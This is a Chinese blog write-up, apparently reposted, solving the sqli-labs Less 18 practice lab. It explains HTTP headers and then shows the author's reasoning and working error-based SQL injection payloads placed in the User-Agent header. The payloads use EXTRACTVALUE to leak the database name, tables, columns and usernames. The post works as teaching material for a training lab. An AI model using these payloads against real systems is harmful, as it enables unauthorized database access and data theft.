程序员经验分享-hwhale

sqli-labs Less18 原理到实现详解

2023-11-06

目录

前期知识储备

一、初始思路

1.思路

2.user agent后加入',发现出现sql错误日志。

3.我尝试了之前用的各种闭合方法，都已失败告终。

4.新的问题。

5. 现在想的是如何利用mysql插入语句insert实现注入。

​​

​

 

前期知识储备

从18关开始考察的是头部注入（Header Injection - Uagent field - Error based），这里简述头部注入的点。

  • HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理。
  • X-Forwarded-For:简称XFF头，它代表客户端，用于记录代理信息的，每经过一级代理(匿名代理除外)，代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
  • Cookie，有时也用其复数形式 Cookies，指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据（通常经过加密）。
  • X-Real-IP一般只记录真实发出请求的客户端IP。
  • Accept Language请求头允许客户端声明它可以理解的自然语言，以及优先选择的区域方言。
  •  User Agent中文名为用户代理，简称 UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
  • Accept代表客户端希望接受的数据类型，数据类型中的先后次序表示客户端接受的先后次序。
  • Referer表示一个来源，当浏览器向web服务器发送请求的时候，一般会带上Referer,告诉服务器我是从那个页面链接过来的，服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。

提示：以下是本篇文章正文内容，下面案例可供参考




一、初始思路

1.思路

在第一次接触18关的时候有点懵，感觉一切都很熟悉但是又不是那么的熟悉。当我随意输入用户名和密码看到它可以显示我的ip和user agent信息。那就能够证明它读取了我的user agent。尝试对useragent下手。

2.user agent后加入',发现出现sql错误日志。

3.我尝试了之前用的各种闭合方法，都已失败告终。

' #
" #
'" #
')
")
'))
"))
'")
'"))

4.新的问题。

我当时直观感受就是之前用到的sql语句和现在不一样了，十多关的靶场还没有过滤规则，完全没办法直接看源码。

5. 现在想的是如何利用mysql插入语句insert实现注入。

1. 将源码中的语句直接复制到navicat中，我们只换值运行语句，观察结果。 



2.从上边发现我们注入的语句值被当作插入值中的第一个值被执行。那就先闭合引号看看会产生什么样的结果。

3.直接报错，根据错误提可能是123被当作字符优先匹配他周围的引号为一组，结果就剩下前后两个未被闭合的单引号导致出错。证明如下图：

 这张图证明我们的思路是正确的

 4.那么我们把中间的字符删掉看看会发生什么，结果如下图：


 语句执行成功，空字符串被成功写入。

 5.那么能够利用的点肯定在这个空白区域，我试过用 and updatexml()和and extractvalue() 都已失败告终。看了看大神的文章我才知道这里需要用到两个and或者两个or。

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and 1=1 and '', '456',789 )

 没问题可以执行，那么把需要的语句放进去试试。

 6.赶紧抓包试一试。。。。。。。。

User-Agent: 'and EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e)) and'

 一切都熟悉了爆表名

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and'

 

 列名

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)) and'

 数据

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select username from users limit 1,1),0x7e)) and'

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

web安全

sqli-labs Less18 原理到实现详解 的相关文章

随机推荐

  • 深度学习（4）：基于深层卷积网络实现车牌识别

    目的 基于深层卷积神经网络结合CTC损失函数对车牌进行识别 通过对车牌数据集进行训练获得识别模型 并验证模型性能和将模型进行应用 一 原理 了解深层卷积神经网络构建方法和基本原理 熟悉目标识别相关算法的常规训练流程 掌握CTC损失函数的基本

  • 【工具分享】配置淘宝镜像

    配置淘宝镜像 淘宝镜像地址 https registry npmmirror com 命令行配置 npm config set registry https registry npmmirror com 使用 nrm 配置 使用 npm 全

  • java 断言 assert 详解：断言开启、断言使用

    java中的断言Assert的使用 一 背景 二 如何判断是否开启了断言 三 开启断言 四 断言的使用 方法一 assert

  • unity 3D 自学笔记

    刚开始 创建一个正方体 窗口布局 恢复默认窗口 场景 默认场景中只有一个主摄像机和平行光源 3D物体 Duplicate 复制 Delete 删除 3D视图 导航器 Gizmo 表示世界坐标的方向 栅格 Grid 表示XZ坐标平面 天空盒

  • oracle 查询本年12月,Oracle查询1-12月数据

    模拟数据表 create table TB id int time datetime count int 添加模拟数据 insert TB select 1 2012 12 01 02 00 00 42 union all select 1

  • 神经网络：Epoch、Batch Size和迭代

    Epoch Batch Size和迭代 深度学习模型离不开这3个术语 下面我们来了解下它们的区别 和联系 背景知识 梯度下降 分三点 1 直观理解 2 梯度下降怎么做 3 梯度下降有啥用 1 直观理解梯度下降 其实它没啥就是让计算机不断猜最

  • Java 中正则表达式的详解

    博主前些天发现了一个巨牛的人工智能学习网站 通俗易懂 风趣幽默 忍不住也分享一下给大家 点击跳转到网站 前言 Java提供正则表达式技术 专门用于处理文本问题 简单的说 正则表达式 regular expression 是对字符串执行模式匹

  • cpu,内存条，硬盘，显卡，主板，显示器之间的关系

    cpu不能直接处理硬盘上的数据 操作系统将硬盘上的数据传输到内存条上 cpu再处理内存条上的数据 如果是图像则通过显卡在显示器上输出 如果是声音数据则被发送到声卡 cpu 内存条 硬盘 显卡都是插在主板上的 这几个都是通过主板将其组织起来

  • ERROR in ./src/vue/login.vue?vue&type=template&id=28b333d2& 2:0 Module parse failed: Unexpected toke

    简单 https blog csdn net qq 25835645 article details 83473078 通俗易懂 清晰 https blog csdn net cominglately article details 805

  • vue富文本编辑器 组件封装

    Vue Quill Editor vue quill editor基本配置 gt npm install vue quill editor s main js中引入 import VueQuillEditor from vue quill

  • N+1查询问题

    一 概述 N 1的问题主要出现在发起关联查询时 例如 select from CUSTOMERS select from ORDERS where CUSTOMER ID 1 select from ORDERS where CUSTOME

  • 安装npm 并启动vue 项目

    1 windows查看是否安装npm Win R 输入cmd 输入npm v D wwwroot etc com gt node v 6 13 4 D wwwroot etc com gt v8 17 0 2 解决 npm ERR miss

  • POWER BI - 与其他BI工具的比较

    Power BI vs Tableau Tableau被认为是BI市场中的领先工具之一 Power BI被认为是与Tableau紧密竞争的新兴工具 因为它具有后端数据处理功能以及与数据源列表的连接 Tableau是市场上最好的数据可视化工具

  • 音视频处理基础知识扫盲：数字视频YUV像素表示法以及视频帧和编解码概念介绍

    专栏 Python基础教程目录 专栏 使用PyQt开发图形界面Python应用 专栏 PyQt moviepy音视频剪辑实战 专栏 PyQt入门学习 老猿Python博文目录 老猿学5G博文目录 一 引言 笔者本人对音视频编码处理的基本概念

  • linux网络编程（四）多路I/O转接服务器

    文章目录 1 多路I O转接服务器 2 select 方式的多路I O转接服务器 3 poll 方式的多路I O转接服务器 4 epoll 方式的多路I O转接服务器 1 多路I O转接服务器 多路IO转接服务器也叫做多任务IO服务器 该类

  • QT自定义Tab标签页，可以删除、添加、修改和选中

    先看效果 部分源码 pragma once include

  • 破解Zip加密文件常用的几种方法

    前言 在互联网的浪潮中 大家也许碰到过这种情况 从网络上下载了一个zip文件 最后却发现它是用密码保护的 或者自己用密码加密了一个很重要zip文件 但是一段时间后忘记了密码 无法打开 这个时候 我们就可能就需要对这个加密文件进行破解了 而随

  • 第六站：零基础认识JS的基础语法

    欢迎来到 JavaWeb的奇妙冒险 教学系列 在这里 我们将继续探索Web开发的精彩世界 本站将为你揭开JavaScript的神秘面纱 让我们在学习的过程中既轻松愉快 又能掌握高质量的知识 准备好进入第六站的学习之旅了吗 让我们开始吧 第六

  • Java定时任务调度工具Quartz（一）——简单介绍

    引言 最近因为疫情闹得严重 业务部门需求少了很多 我这边相对比以前轻松一丢丢 终于可以把许多年前心头大患梳理一下搞一搞了 我的心头大患是什么呢 就是这个系统的26个跑批 完全依赖JAR包 没有可视化操作页面 没有系统监控调度工具 就那么跑

  • sqli-labs Less18 原理到实现详解

    目录 前期知识储备 一 初始思路 1 思路 2 user agent后加入 发现出现sql错误日志 3 我尝试了之前用的各种闭合方法 都已失败告终 4 新的问题 5 现在想的是如何利用mysql插入语句insert实现注入 前期知识储备 从

热门标签